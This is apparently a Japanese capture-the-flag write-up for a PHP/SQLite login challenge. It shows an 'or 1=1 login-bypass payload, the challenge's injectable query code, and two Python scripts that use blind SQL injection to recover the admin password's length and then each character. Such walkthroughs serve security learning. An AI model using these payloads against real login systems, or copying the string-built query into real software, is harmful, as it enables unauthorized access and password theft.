#Login
問題
login:ログイン
問題をみると、urlがある。開いてみると、IDとPassを入力するボックスがある。
とりあえず、SQLインジェクションを試してみる。
ID:admin
Pass:'or 1=1;
これで送信してみると、以下のphpが得られた。
Congratulations!
It's too easy?
Don't worry.
The flag is admin's password.
Hint:
<?php
function h($s){return htmlspecialchars($s,ENT_QUOTES,'UTF-8');}
$id = isset($_POST['id']) ? $_POST['id'] : '';
$pass = isset($_POST['pass']) ? $_POST['pass'] : '';
$login = false;
$err = '';
if ($id!=='')
{
$db = new PDO('sqlite:database.db');
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT);
$r = $db->query("SELECT * FROM user WHERE id='$id' AND pass='$pass'");
$login = $r && $r->fetch();
if (!$login)
$err = 'Login Failed';
}
?><!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6</title>
</head>
<body>
<?php if (!$login) { ?>
<p>
First, login as "admin".
</p>
<div style="font-weight:bold; color:red">
<?php echo h($err); ?>
</div>
<form method="POST">
<div>ID: <input type="text" name="id" value="<?php echo h($id); ?>"></div>
<div>Pass: <input type="text" name="pass" value="<?php echo h($pass); ?>"></div>
<div><input type="submit"></div>
</form>
<?php } else { ?>
<p>
Congratulations!<br>
It's too easy?<br>
Don't worry.<br>
The flag is admin's password.<br>
<br>
Hint:<br>
</p>
<pre><?php echo h(file_get_contents('index.php')); ?></pre>
<?php } ?>
</body>
</html>
IDがadminのpassがFLAGになっているらしい。
今回の問題を解くにあたり、ブラインドSQLインジェクションを用いる。
ブラインドSQLインジェクションとは、応答ページから情報を直接盗み出すのではなく、挿入したSQLに対する応答ページの違いから、データベース管理システムに関する情報(実行ユーザーやテーブル名など)を盗み出すものです。
今回の応答ページには、ログインが成功した時は上記のphpのページが表示され、失敗したときは以下のようなページが表示される。この応答ページの違いを利用して、passを見つけていく。
まず、FLAGの文字数を調べる。今までの問題からFLAGの長さは20文字くらいなので、10文字~30文字の間でFLAGの長さを調べてみる。
import requests
url = 'http://ctfq.sweetduet.info:10080/~q6/'
n=0
for i in range (10,30):
#print(i)
sql = " \' OR (SELECT LENGTH(pass) FROM user WHERE id = \'admin\')={num}--".format(num = i)
payload = {
'id': 'admin ',
'pass': sql
}
response = requests.post(url,data=payload)
if len(response.text)>1000:
print(i)
break
requestsはPythonのHTTPライブラリでGETリクエスト等ができる。
sql = " \' OR (SELECT LENGTH(pass) FROM user WHERE id = \'admin\')={num}--".format(num = i)
ここでSQL文を作る。userテーブルで、idがadminであるもののpassの長さを取得し、その長さを10〜30の間で比較している。値が等しくなった時に応答ページの文字数(response.text)が大きくなるため、この違いを利用して、response.textの文字数が1000より大きいならログインできたと判断する。
この結果FLAGの文字数は21であることがわかった。
次に、1文字づつ送信してFLAGを確定させていく。FLAGに使われる文字はa-z,A-Z,_,0-9であるため、ASCIIコードで48〜123までの文字を順番に試していく。
import requests
url = 'http://ctfq.sweetduet.info:10080/~q6/'
for i in range(1,22):
for char_num in range(48,123):
char = chr(char_num)
sql = " \' OR SUBSTR((SELECT pass FROM user WHERE id = \'admin\'),{index},1)=\'{num}\' --".format(index = i,num = char)
payload = {
'id': 'admin ',
'pass': sql
}
response = requests.post(url,data=payload)
if len(response.text)>1000:
print(char, end="")
sql = " \' OR SUBSTR((SELECT pass FROM user WHERE id = \'admin\'),{index},1)=\'{num}\' --".format(index = i,num = char)
SUBSTRはSUBSTR(文字列, 開始桁, 切り取り文字数)のように使う。passのi番目の文字から1文字切り取ったもの(passのi番目の文字)と48〜123をchr()で文字にしたものを順に比較して、等しい時(応答ページの文字数が1000より大きい)にその文字を表示する。